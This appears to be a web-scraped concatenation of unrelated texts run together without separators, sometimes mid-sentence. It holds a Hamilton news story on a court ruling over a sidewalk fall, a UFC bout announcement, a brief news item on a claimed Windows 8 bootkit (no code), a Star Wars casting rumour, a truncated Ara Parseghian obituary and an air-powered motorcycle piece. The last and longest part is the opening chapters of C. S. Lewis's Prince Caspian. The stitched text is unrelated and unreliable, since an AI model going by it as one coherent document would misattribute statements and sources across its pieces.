[26] Paul McShane is a project manager in the road operations section of the defendant and is responsible for concrete and asphalt services, which includes sidewalks. [27] He looks after the defendant’s sidewalk inspection program and looks after capital projects such as sidewalk replacement. He does so for all of Hamilton. [28] Mr. McShane explained that at the time of this fall the defendant was in the process of implementing a new inspection program, but was experiencing computer problems in doing so. For this reason, while inspections had been done for the years 2009, 2010 and 2011, there was no inspection done in 2012. An inspection was done again in 2013, but using the old system as the new program was still not working.
This is just the latest revelation about the City’s Roads division which most recently was involved in arbitration when managers fired 29 employees assigned to fill potholes. Of the employees, all but 6 were rehired with 15 of them ordered rehired by an arbitrator who found there is a “culture of low expectations” from managers in the Public Works Department and this explained the widespread problems, especially in the Roads division.
The Judge found City staff to be uncooperative with the court, declaring the City’s district investigator Ron Mol to be a “openly hostile to counsel” in court “obviously biased in favour of his employer, and unreasonably defensive and resistant when asked any questions that he perceived to be contrary to his position or interests, or those of his employer.”
The Judge continued, saying the Public Works investigator lacked impartiality and not as credible as the injured woman’s son, “Mr. Mol’s opinion is that he is right because he says so, and that he says so because he is right. His rigidity and defiance undermine his credibility”.
Findings of Fact [68] In my opinion, on the issue of the height discrepancy as between the 2 sidewalk slabs, the evidence of Mr. Worthey was the most credible. While I am aware that his relationship with the plaintiffs has to be considered in terms of possible bias, I carefully observed his demeanour as well as what he had to say. I was struck by the fact that in my assessment he was very much aware of his training, both while working in pathology and for the police, and he was not a man given to carelessness or exaggeration. In my assessment he told it exactly as he saw it. He answered questions directly and in a forthright manner, without adding extra comments favourable to the plaintiff’s case but not directly called for by the question. I am satisfied that he understood, as a result of this training and his vocation, as well as his character, the importance of both impartiality and precision, and that his testimony reflected both. [69] I was not impressed with the evidence of Mr. Mol as he is obviously biased in favour of his employer, and unreasonably defensive and resistant when asked any questions that he perceived to be contrary to his position or interests, or those of his employer. He was openly hostile with counsel. The manner of his presentation lacked impartiality. Mr. Mol’s opinion is that he is right because he says so, and that he says so because he is right. His rigidity and defiance undermine his credibility. [70] While free from open hostility and intolerance, the evidence of Mr. Dykeman, in my opinion, demonstrated a bias in favour of the defendant, who he acknowledged to be a main customer. [71] With respect to both Mr. Mol and Mr. Dykeman, I am not satisfied from the photographs taken by them, or by the answers they gave and the way in which they gave them, that their rulers were touching the top of the lower slab. Mr. Dykeman acknowledges that it does not appear to be the case in his photographs. He would not admit that his first measurement location demonstrates his apparatus to have been leaning over to the left, although clearly it is in the photograph. [72] In my best assessment, the evidence of Mr. Worthey is the most reliable of the three. I find the height discrepancy between the top of the lower slab and the top of the higher slab to be 15/16” as testified to by him.
Ultimately, the Judge found the injured woman to be 30% responsible for her fall – a significantly low number for these types of cases, and put 70% of the fault squarely on the negligence of the Public Works Department.
She is to be awarded $192,500 plus legal costs to be determined.
The Public Record sent the City of Hamilton a series of questions related to this ruling.
“Staff are investigating and will be meeting to discuss [the matter]”, wrote Michael Kirkopoulos, the City’s Director of Communications, to The Public Record on Wednesday prior to the Council meeting.
At Council Wednesday evening, General Manager of Public Works Gerry Davis said he wasn’t able to confirm the Judge’s findings of fact that the Public Works Department skipped sidewalk inspections in 2012.
He says he needs to look into what is happening in the Roads division of his department.
Mr. Davis quickly left at the conclusion of the Council meeting and was not available for media questions.
As of noon on Thursday, the City has yet to issue a statement or respond to questions on this matter.
Questions Sent to City Manager Chris Murray by The Public Record:The UFC will return to the Netherlands in September with a heavyweight showdown featuring local favorite Stefan Struve against rising contender Alexander Volkov.
UFC officials announced the new pairing on Saturday.
Struve (28-8) will enter his latest UFC main event off a two fight win streak, including victories over former title challenger Antonio “Bigfoot” Silva as well as Daniel Omielanczuk.
Article continues below...
The 29-year-old heavyweight is a native of the Netherlands, and he’ll look to make his home country proud when he returns on September 2.
Volkov (28-6) has been flawless during his UFC career thus far with a perfect 2-0 record over a pair of very tough heavyweight challengers.
Most recently, Volkov dispatched former “Ultimate Fighter” winner Roy Nelson in a lopsided decision, and now he’ll get his first chance to main event in the UFC in September.
Struve vs. Volkov is the first confirmed fight for the upcoming UFC event in the Netherlands at the Rotterdam Ahoy with more bouts to be announced in the coming weeks.Austrian security researcher Peter Kleissner claims to have developed a 'bootkit' for Windows 8 that bypasses security features built into the operating system's bootloader.
Kleissner broke the news on his Twitter account:
Kleissner previously developed a proof-of-concept 'bootkit' called Stoned [PDF] capable of attacking Windows platforms ranging from XP to 7. It seems that this work has now been extended to include Windows 8. The source code to Stoned is available for download from Kleissner's website.
According to Kleissner the new Windows 8 hack does not attack UEFI'secure boot' feature and currently only works on systems running legacy BIOSes.
Microsoft has already been informed of the details of the hack:
The attack also bypasses UAC (User Account Control) for Admin accounts on Windows 8.
That means we can expect this vulnerability to be fixed before Windows 8 sees light of day.
Given Kleissner's background, I have no reason to doubt his claims at this stage. We'll know more about the attack when his paper is released on Saturday.
Kleissner is tentatively expected to present a paper at the MalCon security conference in Mumbai, India, later this month (he has yet to be granted a visa). Additionally, he is set to appear in court on December 15 on charges related to his Stoned 'bootkit' malware.Benedict Cumberbatch is the latest name to be linked to a role in Star Wars Episode 7 (Picture: AFP/Getty Images)
Speculation is rife that Benedict Cumberbatch will be the first name unveiled by Lucasfilm for the cast of Star Wars Episode 7.
According to Film Chronicles, the actor will reunite with his Star Trek Into Darkness director JJ Abrams on the upcoming sci-fi film.
It is not known what role Cumberbatch would be playing as the plot has so far been kept top secret.
Cumberbatch recently pulled out of Guillermo del Toro’s horror movie Crimson Peak although The Hollywood Reporter claimed it was not due to another project.
Benedict Cumberbatch played baddie John Harrison in Star Trek Into Darkness (Picture: Paramout Pictures)
Crimson Peak and Star Wars Wpisode 7 are set to be in production around the same time though.
The Sherlock star has admitted before that he was a Star Wars fan as a child.
Advertisement
Advertisement
He told Total Film: ‘I was much more connected to [Star Wars] as a kid, in the way that a lot of kids are because it’s immediate storytelling, very simple – a beautifully, outrageously simple narrative in a way – and a wonderful three-act melodrama, opera. And I loved them.
‘I really, really loved those films and I always wanted to be Han Solo. Everything Harrison Ford did I just thought was the coolest thing ever.’
Cumberbatch is the latest in a line of A-list names linked to the film with Ryan Gosling, Zac Efron and Leonardo DiCaprio also said to have met with Disney to discuss parts in the film.
Star Wars Episode 7 is due out in 2015.Ara Parseghian, the charismatic Hall of Fame coach who woke up the echoes at Notre Dame, restoring the Fighting Irish to football glory in the 1960s and 1970s with two national championships and an innovative, psychologically astute approach to coaching, died Aug. 2 at his home in Granger, Ind. He was 94.
The University of Notre Dame’s president, the Rev. John Jenkins, issued a statement announcing the death. Mr. Parseghian had recently been treated for a hip infection.
Mr. Parseghian (pronounced par-SEEG-yun) took over the head coaching job of perhaps the country’s most storied college football team in 1964, after rebuilding the fortunes of perennial Big Ten doormat Northwestern University.
Notre Dame had been a gridiron powerhouse since the turn of the 20th century, building a nationwide following under coaches Knute Rockne, Elmer Layden and Frank Leahy. Since Leahy’s retirement in 1953, the Irish had descended into mediocrity, with an abysmal 2-7 record in 1963.
The intense, handsome Mr. Parseghian immediately brought a new sense of order, rebuilding the team’s reputation |
-powered motorcycle, the first of its kind according to him, is quite cool.
How Does an Air-Powered Motorcycle Work?
Unlike the hilarious single-piston air-powered bicycle that he previously made, this air-powered bike can actually be used in real-world situations.
He took carbon-fiber air tanks that are usually used by firefighters as part of their breathing equipment and connected them to two rotary air engines that drive the rear wheel. One of the benefits of using compressed air over batteries is that you can recharge in a few seconds.Of course, the compressor works on electricity, so that's not always a clean power source. But even if your local utility uses coal, if you recharge at night or off peak, chances are you are using power that would be wasted otherwise because coal power plants take too long to shut down and restart, so they are often kept producing at night.
But it is with a clean electricity source for the compressor that the air-powered motorcycle becomes a truly green ride. Any companies paying attention? A commercially available air-powered bike would be great. One more option for people wanting to drop their car...
Top speed is 18 mph (29 kph), range is 7 miles (11.2 kilometers) between compressed air fill ups.
Could definitely be used for short commutes. Even better would be if it was turned into a hybrid, with pedal-power as an option.
::Air-powered scooter leaves city centres cleaner, ::Man Invents Air-Powered Motorcycle in Garage, ::Moped gets in on the air-powered fun
See also: ::DIY Electric Kawasaki Motorcycle, ::Voltzilla: DIY Electric Motorcycle Made from Forklift Parts, ::Electric Motorcycle Breaks Speed Record* A Project Gutenberg Canada Ebook *
This ebook is made available at no cost and with very few restrictions. These restrictions apply only if (1) you make a change in the ebook (other than alteration for different display devices), or (2) you are making commercial use of the ebook. If either of these conditions applies, please check
This work is in the Canadian public domain, but may be under copyright in some countries. If you live outside Canada, check your country's copyright laws. If the book is under copyright in your country, do not download or redistribute this file.
Title: Prince Caspian. The Return to Narnia.
Author: Lewis, C. S. [Clive Staples] (1898-1963)
Date of first publication: 1951
Edition used as base for this ebook: London: Geoffrey Bles, 1964 [fifth printing]
Date first posted: 31 January 2014
Date last updated: 31 January 2014
Project Gutenberg Canada ebook #1154
This ebook was produced by Al Haines
This ebook is made available at no cost and with very few restrictions. These restrictions apply only if (1) you make a change in the ebook (other than alteration for different display devices), or (2) you are making commercial use of the ebook. If either of these conditions applies, please check gutenberg.ca/links/licence.html before proceeding.This work is in the Canadian public domain, but may be under copyright in some countries. If you live outside Canada, check your country's copyright laws.Prince Caspian. The Return to Narnia.Lewis, C. S. [Clive Staples] (1898-1963)1951London: Geoffrey Bles, 1964 [fifth printing]31 January 201431 January 2014Project Gutenberg Canada ebook #1154This ebook was produced by Al Haines
[Transcriber's note: Because of copyright considerations, the illustrations by Pauline Baynes (1922-2008) have been omitted from this etext.]
PRINCE CASPIAN
The Return to Narnia
by
C. S. LEWIS
TO
MARY CLARE HAVARD
CONTENTS
I THE ISLAND
II THE ANCIENT TREASURE HOUSE
III THE DWARF
IV THE DWARF TELLS OF PRINCE CASPIAN
V CASPIAN'S ADVENTURE IN THE MOUNTAINS
VI THE PEOPLE THAT LIVED IN HIDING
VII OLD NARNIA IN DANGER
VIII HOW THEY LEFT THE ISLAND
IX WHAT LUCY SAW
X THE RETURN OF THE LION
XI THE LION ROARS
XII SORCERY AND SUDDEN VENGEANCE
XIII THE HIGH KING IN COMMAND
XIV HOW ALL WERE VERY BUSY
XV ASLAN MAKES A DOOR IN THE AIR
Chapter I
THE ISLAND
Once there were four children whose names were Peter, Susan, Edmund and Lucy, and it has been told in another book called The Lion, the Witch and the Wardrobe how they had a remarkable adventure. They had opened the door of a magic wardrobe and found themselves in a quite different world from ours, and in that different world they had become Kings and Queens in a country called Narnia. While they were in Narnia they seemed to reign for years and years; but when they came back through the door and found themselves in England again, it all seemed to have taken no time at all. At any rate, no one noticed that they had ever been away, and they never told anyone except one very wise grown-up.
That had all happened a year ago, and now all four of them were sitting on a seat at a railway station with trunks and playboxes piled up round them. They were, in fact, on their way back to school. They had travelled together as far as this station, which was a junction; and here, in a few minutes, one train would arrive and take the girls away to one school, and in about half an hour another train would arrive and the boys would go off to another school. The first part of the journey, when they were all together, always seemed to be part of the holidays; but now when they would be saying good-by and going different ways so soon, everyone felt that the holidays were really over and everyone felt their term time feelings beginning again, and they were all rather gloomy and no-one could think of anything to say. Lucy was going to boarding school for the first time.
It was an empty, sleepy, country station and there was hardly anyone on the platform except themselves. Suddenly Lucy gave a sharp little cry, like someone who has been stung by a wasp.
"What's up, Lu?" said Edmund—and then suddenly broke off and made a noise like "Ow!"
"What on earth——" began Peter, and then he too suddenly changed what he had been going to say. Instead, he said, "Susan, let go! What are you doing? Where are you dragging me to?"
"I'm not touching you," said Susan. "Someone is pulling me. Oh—oh—oh—stop it!"
Everyone noticed that all the others' faces had gone very white.
"I felt just the same," said Edmund in a breathless voice. "As if I were being dragged along. A most frightful pulling—ugh! it's beginning again."
"Me too," said Lucy. "Oh, I can't bear it."
"Look sharp!" shouted Edmund. "All catch hands and keep together. This is magic—I can tell by the feeling. Quick!"
"Yes," said Susan. "Hold hands. Oh, I do wish it would stop—oh!"
Next moment the luggage, the seat, the platform, and the station had completely vanished. The four children, holding hands and panting, found themselves standing in a woody place—such a woody place that branches were sticking into them and there was hardly room to move. They all rubbed their eyes and took a deep breath.
"Oh, Peter!" exclaimed Lucy. "Do you think we can possibly have got back to Narnia?"
"It might be anywhere," said Peter, "I can't see a yard in all these trees. Let's try to get into the open—if there is any open."
With some difficulty, and with some stings from nettles and pricks from thorns, they struggled out of the thicket. Then they had another surprise. Everything became much brighter, and after a few steps they found themselves at the edge of the wood, looking down on a sandy beach. A few yards away a very calm sea was falling on the sand with such tiny ripples that it made hardly any sound. There was no land in sight and no clouds in the sky. The sun was about where it ought to be at ten o'clock in the morning, and the sea was a dazzling blue. They stood sniffing in the sea-smell.
"By Jove!" said Peter. "This is good enough."
Five minutes later everyone was barefooted and wading in the cool clear water.
"This is better than being in a stuffy train on the way back to Latin and French and Algebra!" said Edmund. And then for quite a long time there was no more talking, only splashing and looking for shrimps and crabs.
"All the same," said Susan presently, "I suppose we'll have to make some plans. We shall want something to eat before long."
"We've got the sandwiches Mother gave us for the journey," said Edmund. "At least I've got mine."
"Not me," said Lucy. "Mine were in my little bag."
"So were mine," said Susan.
"Mine are in my coat-pocket, there on the beach," said Peter. "That'll be two lunches among four. This isn't going to be such fun."
"At present," said Lucy, "I want something to drink more than something to eat."
Everyone else now felt thirsty, as one usually is after wading in salt water under a hot sun.
"It's like being shipwrecked," remarked Edmund. "In the books they always find springs of clear, fresh water on the island. We'd better go and look for them."
"Does that mean we have to go back into all that thick wood?" said Susan.
"Not a bit of it," said Peter. "If there are streams they're bound to come down to the sea, and if we walk along the beach we're bound to come to them."
They all now waded back and went first across the smooth, wet sand and then up to the dry, crumbly sand that sticks to one's toes, and began putting on their shoes and socks. Edmund and Lucy wanted to leave them behind and do their exploring with bare feet, but Susan said this would be a mad thing to do. "We might never find them again," she pointed out, "and we shall want them if we're still here when night comes and it begins to be cold."
When they were dressed again they set out along the shore with the sea on their left hand and the wood on their right. Except for an occasional seagull it was a very quiet place. The wood was so thick and tangled that they could hardly see into it at all; and nothing in it moved—not a bird, not even an insect.
Shells and seaweed and anemones, or tiny crabs in rock-pools, are all very well, but you soon get tired of them if you are thirsty. The children's feet, after the change from the cool water, felt hot and heavy. Susan and Lucy had raincoats to carry. Edmund had put down his coat on the station seat just before the magic overtook them, and he and Peter took it in turns to carry Peter's great-coat.
Presently the shore began to curve round to the right. About quarter of an hour later, after they had crossed a rocky ridge which ran out into a point, it made quite a sharp turn. Their backs were now to the part of the sea which had met them when they first came out of the wood, and now, looking ahead, they could see across the water another shore, thickly wooded like the one they were exploring.
"I wonder, is that an island or do we join on to it presently?" said Lucy.
"Don't know," said Peter and they all plodded on in silence.
The shore that they were walking on drew nearer and nearer to the opposite shore, and as they came round each promontory the children expected to find the place where the two joined. But in this they were disappointed. They came to some rocks which they had to climb and from the top they could see a fair way ahead and—"Oh bother!" said Edmund, "it's no good. We shan't be able to get to those other woods at all. We're on an island!"
It was true. At this point the channel between them and the opposite coast was only about thirty or forty yards wide; but they could now see that this was its narrowest place. After that, their own coast bent round to the right again and they could see open sea between it and the mainland. It was obvious that they had already come much more than half-way round the island.
"Look!" said Lucy suddenly. "What's that?" She pointed to a long silvery, snake-like thing that lay across the beach.
"A stream! A stream!" shouted the others, and, tired as they were, they lost no time in clattering down the rocks and racing to the fresh water. They knew that the stream would be better to drink farther up, away from the beach, so they went at once to the spot where it came out of the wood. The trees were as thick as ever, but the stream had made itself a deep course between high mossy banks so that by stooping you could follow it up in a sort of tunnel of leaves. They dropped on their knees by the first brown, dimply pool and drank and drank, and dipped their faces in the water, and then dipped their arms in up to the elbow.
"Now," said Edmund, "what about those sandwiches?"
"Oh, hadn't we better save them?" said Susan. "We may need them far worse later on."
"I do wish," said Lucy, "now that we're not thirsty, we could go on feeling as not-hungry as we did when we were thirsty."
"But what about those sandwiches?" repeated Edmund. "There's no good saving them till they go bad. You've got to remember it's a good deal hotter here than in England and we've been carrying them about in pockets for hours." So they got out the two packets and divided them into four portions, and nobody had quite enough, but it was a great deal better than nothing. Then they talked about their plans for the next meal. Lucy wanted to go back to the sea and catch shrimps, until someone pointed out that they had no nets. Edmund said they must gather gulls' eggs from the rocks, but when they came to think of it they couldn't remember having seen any gulls' eggs and wouldn't be able to cook them if they found any. Peter thought to himself that unless they had some stroke of luck they would soon be glad to eat eggs raw, but he didn't see any point in saying this out loud. Susan said it was a pity they had eaten the sandwiches so soon. One or two tempers very nearly got lost at this stage. Finally Edmund said:
"Look here. There's only one thing to be done. We must explore the wood. Hermits and knights-errant and people like that always manage to live somehow if they're in a forest. They find roots and berries and things."
"What sort of roots?" asked Susan.
"I always thought it meant roots of trees," said Lucy.
"Come on," said Peter, "Ed is right. And we must try to do something. And it'll be better than going out into the glare and the sun again."
So they all got up and began to follow the stream. It was very hard work. They had to stoop under branches and climb over branches, and they blundered through great masses of stuff like rhododendrons and tore their clothes and got their feet wet in the stream; and still there was no noise at all except the noise of the stream and the noises they were making themselves. They were beginning to get very tired of it when they noticed a delicious smell, and then a flash of bright colour high above them at the top of the right bank.
"I say!" exclaimed Lucy. "I do believe that's an apple tree."
It was. They panted up the steep bank, forced their way through some brambles, and found themselves standing round an old tree that was heavy with large yellowish-golden apples as firm and juicy as you could wish to see.
"And this is not the only tree," said Edmund with his mouth full of apple. "Look there—and there."
"Why, there are dozens of them," said Susan, throwing away the core of her first apple and picking her second. "This must have been an orchard—long, long ago, before the place went wild and the wood grew up."
"Then this was once an inhabited island," said Peter.
"And what's that?" said Lucy, pointing ahead.
"By Jove, it's a wall," said Peter. "An old stone wall."
Pressing their way between the laden branches they reached the wall. It was very old, and broken down in places, with moss and wallflowers growing on it, but it was higher than all but the tallest trees. And when they came quite close to it they found a great arch which must once have had a gate in it but was now almost filled up with the largest of all the apple trees. They had to break some of the branches to get past, and when they had done so they all blinked because the daylight became suddenly much brighter. They found themselves in a wide open place with walls all round it. In here there were no trees, only level grass and daisies, and ivy, and grey walls. It was a bright, secret, quiet place, and rather sad; and all four stepped out into the middle of it, glad to be able to straighten their backs and move their limbs freely.
Chapter II
THE ANCIENT TREASURE HOUSE
"This wasn't a garden," said Susan presently. "It was a castle and this must have been the courtyard."
"I see what you mean," said Peter. "Yes. That is the remains of a tower. And there is what used to be a flight of steps going up to the top of the walls. And look at those other steps—the broad, shallow ones—going up to that doorway. It must have been the door into the great hall."
"Ages ago, by the look of it," said Edmund.
"Yes, ages ago," said Peter. "I wish we could find out who the people were that lived in this castle; and how long ago."
"It gives me a queer feeling," said Lucy.
"Does it, Lu?" said Peter, turning and looking hard at her. "Because it does the same to me. It is the queerest thing that has happened this queer day. I wonder where we are and what it all means?"
While they were talking they had crossed the courtyard and gone through the other doorway into what had once been the hall. This was now very like the courtyard, for the roof had long since disappeared and it was merely another space of grass and daisies, except that it was shorter and narrower and the walls were higher. Across the far end there was a kind of terrace about three feet higher than the rest.
"I wonder, was it really the hall?" said Susan. "What that terrace kind of thing?"
"Why, you silly," said Peter (who had become strangely excited), "don't you see? That was the dais where the High Table was, where the King and the great lords sat. Anyone would think you had forgotten that we ourselves were once Kings and Queens and sat on a dais just like that, in our great hall."
"In our castle of Cair Paravel," continued Susan in a dreamy and rather sing-song voice, "at the mouth of the great river of Narnia. How could I forget?"
"How it all comes back!" said Lucy. "We could pretend we were in Cair Paravel now. This hall must have been very like the great hall we feasted in."
"But unfortunately without the feast," said Edmund. "It's getting late, you know. Look how long the shadows are. And have you noticed that it isn't so hot?"
"We shall need a camp fire if we've got to spend the night here," said Peter. "I've got matches. Let's go and see if we can collect some dry wood."
Everyone saw the sense of this, and for the next half-hour they were busy. The orchard through which they had first come into the ruins turned out not to be a good place for firewood. They tried the other side of the castle, passing out of the hall by a little side door into a maze of stony humps and hollows which must once have been passages and smaller rooms but was now all nettles and wild roses. Beyond this they found a wide gap in the castle wall and stepped through it into a wood of darker and bigger trees where they found dead branches and rotten wood and sticks and dry leaves and fir-cones in plenty. They went to and fro with bundles until they had a good pile on the dais. At the fifth journey they found the well, just outside the hall, hidden in weeds, but clean and fresh and deep when they had cleared these away. The remains of a stone pavement ran half-way round it. Then the girls went out to pick some more apples and the boys built the fire, on the dais and fairly close to the corner between two walls, which they thought would be the snuggest and warmest place. They had great difficulty in lighting it and used a lot of matches, but they succeeded in the end. Finally, all four sat down with their backs to the wall and their faces to the fire. They tried roasting some of the apples on the ends of sticks. But roast apples are not much good without sugar, and they are too hot to eat with your fingers till they are too cold to be worth eating. So they had to content themselves with raw apples, which, as Edmund said, made one realise that school suppers weren't so bad after all—"I shouldn't mind a good thick slice of bread and margarine this minute," he added. But the spirit of adventure was rising in them all, and no one really wanted to be back at school.
Shortly after the last apple had been eaten, Susan went out to the well to get another drink. When she came back she was carrying something in her hand.
"Look," she said in a rather choking kind of voice. "I found it by the well." She handed it to Peter and sat down. The others thought she looked and sounded as if she might be going to cry. Edmund and Lucy eagerly bent forward to see what was in Peter's hand—a little bright thing that gleamed in the firelight.
"Well, I'm—I'm jiggered," said Peter, and his voice also sounded queer. Then he handed it to the others.
All now saw what it was—a little chess-knight, ordinary in size but extraordinarily heavy because it was made of pure gold; and the eyes in the horse's head were two tiny little rubies—or rather one was, for the other had been knocked out.
"Why!" said Lucy, "it's exactly like one of the golden chessmen we used to play with when we were Kings and Queens at Cair Paravel."
"Cheer up, Su," said Peter to his other sister.
"I can't help it," said Susan. "It brought back—oh, such lovely times. And I remembered playing chess with fauns and good giants, and the mer-people singing in the sea, and my beautiful horse—and—and——"
"Now," said Peter in a quite different voice, "it's about time we four started using our brains."
"What about?" asked Edmund.
"Have none of you guessed where we are?" said Peter.
"Go on, go on," said Lucy. "I've felt for hours that there was some wonderful mystery hanging over this place."
"Fire ahead, Peter," said Edmund. "We're all listening."
"We are in the ruins of Cair Paravel itself," said Peter.
"But, I say," replied Edmund. "I mean, how do you make that out? This place has been ruined for ages. Look at all those big trees growing right up to the gates. Look at the very stones. Anyone can see that nobody has lived here for hundreds of years."
"I know," said Peter. "That is the difficulty. But let's leave that out for the moment. I want to take the points one by one. First point: this hall is exactly the same shape and size as the hall at Cair Paravel. Just picture a roof on this, and a coloured pavement instead of grass, and tapestries on the walls, and you get our royal banqueting hall."
No one said anything.
"Second point," continued Peter. "The castle well is exactly where our well was, a little to the south of the great hall; and it is exactly the same size and shape."
Again there was no reply.
"Third point: Susan has just found one of our old chessmen—or something as like one of them as two peas."
Still nobody answered.
"Fourth point. Don't you remember—it was the very day before the ambassadors came from the King of Calormen—don't you remember planting the orchard outside the north gate of Cair Paravel? The greatest of all the wood-people, Pomona herself, came to put good spells on it. It was those very decent little chaps the moles who did the actual digging. Can you have forgotten that funny old Lilygloves, the chief mole, leaning on his spade and saying, 'Believe me, your Majesty, you'll be glad of these fruit trees one day.' And by Jove he was right."
"I do! I do!" said Lucy, and clapped her hands.
"But look here, Peter," said Edmund. "This must be all rot. To begin with, we didn't plant the orchard slap up against the gate. We wouldn't have been such fools."
"No, of course not," said Peter. "But it has grown up to the gate since."
"And for another thing," said Edmund, "Cair Paravel wasn't on an island."
"Yes, I've been wondering about that. But it was a what-do-you-call-it, a peninsula. Jolly nearly an island. Couldn't it have been made an island since our time? Somebody has dug a channel."
"But half a moment!" said Edmund. "You keep on saying since our time. But it's only a year ago since we came back from Narnia. And you want to make out that in one year castles have fallen down, and great forests have grown up, and little trees we saw planted ourselves have turned into a big old orchard, and goodness knows what else. It's all impossible."
"There's one thing," said Lucy. "If this is Cair Paravel there ought to be a door at this end of the dais. In fact we ought to be sitting with our backs against it at this moment. You know—the door that led down to the treasure chamber."
"I suppose there isn't a door," said Peter, getting up.
The wall behind them was a mass of ivy.
"We can soon find out," said Edmund, taking up one of the sticks that they had laid ready for putting on the fire. He began beating the ivied wall. Tap-tap went the stick against the stone; and again, tap-tap; and then, all at once, boom-boom, with a quite different sound, a hollow, wooden sound.
"Great Scott!" said Edmund.
"We must clear this ivy away," said Peter.
"Oh, do let's leave it alone," said Susan. "We can try it in the morning. If we've got to spend the night here I don't want an open door at my back and a great big black hole that anything might come out of, besides the draught and the damp. And it'll soon be dark."
"Susan! How can you?" said Lucy with a reproachful glance. But both the boys were too much excited to take any notice of Susan's advice. They worked at the ivy with their hands and with Peter's pocket knife till the knife broke. After that they used Edmund's. Soon the whole place where they had been sitting was covered with ivy; and at last they had the door cleared.
"Locked, of course," said Peter.
"But the wood's all rotten," said Edmund. "We can pull it to bits in no time, and it will make extra firewood. Come on."
It took them longer than they expected and, before they had done, the great hall had grown dusky and the first star or two had come out overhead. Susan was not the only one who felt a slight shudder as the boys stood above the pile of splintered wood, rubbing the dirt off their hands and staring into the cold, dark opening they had made.
"Now for a torch," said Peter.
"Oh, what is the good?" said Susan. "And as Edmund said——"
"I'm not saying it now," Edmund interrupted. "I still don't understand, but we can settle that later. I suppose you're coming down, Peter?"
"We must," said Peter. "Cheer up, Susan. It's no good behaving like kids now that we are back in Narnia. You're a queen here. And anyway no-one could go to sleep with a mystery like this on our minds."
They tried to use long sticks as torches but this was not a success. If you held them with the lighted end up they went out, and if you held them the other way they scorched your hand and the smoke got in your eyes. In the end they had to use Edmund's electric torch; luckily it had been a birthday present less than a week ago and the battery was almost new. He went first, with the light. Then came Lucy, then Susan, and Peter brought up the rear.
"I've come to the top of the steps," said Edmund.
"Count them," said Peter.
"One—two—three," said Edmund, as he went cautiously down, and so up to sixteen. "And this is the bottom," he shouted back.
"Then it really must be Cair Paravel," said Lucy. "There were sixteen." Nothing more was said till all four were standing in a knot together at the foot of the stairway. Then Edmund flashed his torch slowly round.
"O—o—o—oh!!" said all the children at once.
For now all knew that it was indeed the ancient treasure chamber of Cair Paravel where they had once reigned as Kings and Queens of Narnia. There was a kind of path up the middle (as it might be in a greenhouse), and along each side at intervals stood rich suits of armour, like knights guarding the treasures. In between the suits of armour, and on each side of the path, were shelves covered with precious things—necklaces and arm rings and finger rings and golden bowls and dishes and long tusks of ivory, brooches and coronets and chains of gold, and heaps of unset stones lying piled anyhow as if they were marbles or potatoes—diamonds, rubies, carbuncles, emeralds, topazes and amethysts. Under the shelves stood great chests of oak strengthened with iron bars and heavily padlocked. And it was bitterly cold, and so still that they could hear themselves breathing, and the treasures were so covered with dust that unless they had realised where they were and remembered most of the things, they would hardly have known they were treasures. There was something sad and a little frightening about the place, because it all seemed so forsaken and long ago. That was why nobody said anything for at least a minute.
Then, of course, they began walking about and picking things up to look at. It was like meeting very old friends. If you had been there you would have heard them saying things like, "Oh look! Our coronation rings—do you remember first wearing this?—Why, this is the little brooch we all thought was lost—I say, isn't that the armour you wore in the great tournament in the Lone Islands?—do you remember the dwarf making that for me?—do you remember drinking out of that horn?—do you remember, do you remember?"
But suddenly Edmund said, "Look here. We mustn't waste the battery: goodness knows how often we shall need it. Hadn't we better take what we want and get out again?"
"We must take the gifts," said Peter. For long ago at a Christmas in Narnia he and Susan and Lucy had been given certain presents which they valued more than their whole kingdom. Edmund had had no gift, because he was not with them at the time. (This was his own fault, and you can read about it in the other book.)
They all agreed with Peter and walked up the path to the wall at the far end of the treasure chamber, and there, sure enough, the gifts were still hanging. Lucy's was the smallest for it was only a little bottle. But the bottle was made of diamond instead of glass, and it was still more than half full of the magical cordial which would heal almost every wound and every illness. Lucy said nothing and looked very solemn as she took her gift down from its place and slung the belt over her shoulder and once more felt the bottle at her side where it used to hang in the old days. Susan's gift had been a bow and arrows and a horn. The bow was still there, and the ivory quiver, full of well-feathered arrows, but—"Oh, Susan," said Lucy. "Where's the horn?"
"Oh bother, bother, bother," said Susan after she had thought for a moment. "I remember now. I took it with me the last day of all, the day we went hunting the White Stag. It must have got lost when we blundered back into that other place—England, I mean."
Edmund whistled. It was indeed a most shattering loss; for this was an enchanted horn and, whenever you blew it, help was certain to come to you, wherever you were.
"Just the sort of thing that might come in handy in a place like this," said Edmund.
"Never mind," said Susan, "I've still got the bow." And she took it.
"Won't the string be perished, Su?" said Peter.
But whether by some magic in the air of the treasure chamber or not, the bow was still in working order. Archery and swimming were the things Susan was good at. In a moment she had bent the bow and then she gave one little pluck to the string. It twanged: a chirruping twang that vibrated through the whole room. And that one small noise brought back the old days to the children's minds more than anything that had happened yet. All the battles and hunts and feasts came rushing into their heads together.
Then she unstrung the bow again and slung the quiver at her side.
Next, Peter took down his gift—the shield with the great red lion on it, and the royal sword. He blew, and rapped them on the floor, to get off the dust. He fitted the shield on his arm and slung the sword by his side. He was afraid at first that it might be rusty and stick to the sheath. But it was not so. With one swift motion he drew it and held it up, shining in the torchlight.
"It is my sword Rhindon," he said; "with it I killed the Wolf." There was a new tone in his voice, and the others all felt that he was really Peter the High King again. Then, after a little pause, everyone remembered that they must save the battery.
They climbed the stair again and made up a good fire and lay down close together for warmth. The ground was very hard and uncomfortable, but they fell asleep in the end.
Chapter III
THE DWARF
The worst of sleeping out of doors is that you wake up so dreadfully early. And when you wake you have to get up because the ground is so hard that you are uncomfortable. And it makes matters worse if there is nothing but apples for breakfast and you have had nothing but apples for supper the night before. When Lucy had said—truly enough—that it was a glorious morning, there did not seem to be anything else nice to be said. Edmund said what everyone was feeling, "We've simply got to get off this island."
When they had drunk from the well and splashed their faces they all went down the stream again to the shore and stared at the channel which divided them from the mainland.
"We'll have to swim," said Edmund.
"It would be all right for Su," said Peter (Susan had won prizes for swimming at school). "But I don't know about the rest of us." By "the rest of us" he really meant Edmund, who couldn't yet do two lengths at the school baths, and Lucy, who could hardly swim at all.
"Anyway," said Susan, "there may be currents. Father says it's never wise to bathe in a place you don't know."
"But, Peter," said Lucy, "look here. I know I can't swim for nuts at home—in England, I mean. But couldn't we all swim long ago—if it was long ago—when we were kings and queens in Narnia? We could ride then too, and do all sorts of things. Don't you think——"
"Ah, but we were sort of grown-up then," said Peter. "We reigned for years and years and learned to do things. Aren't we just back at our proper ages again now?"
"Oh!" said Edmund in a voice which made everyone stop talking and listen to him.
"I've just seen it all," he said.
"Seen what?" asked Peter.
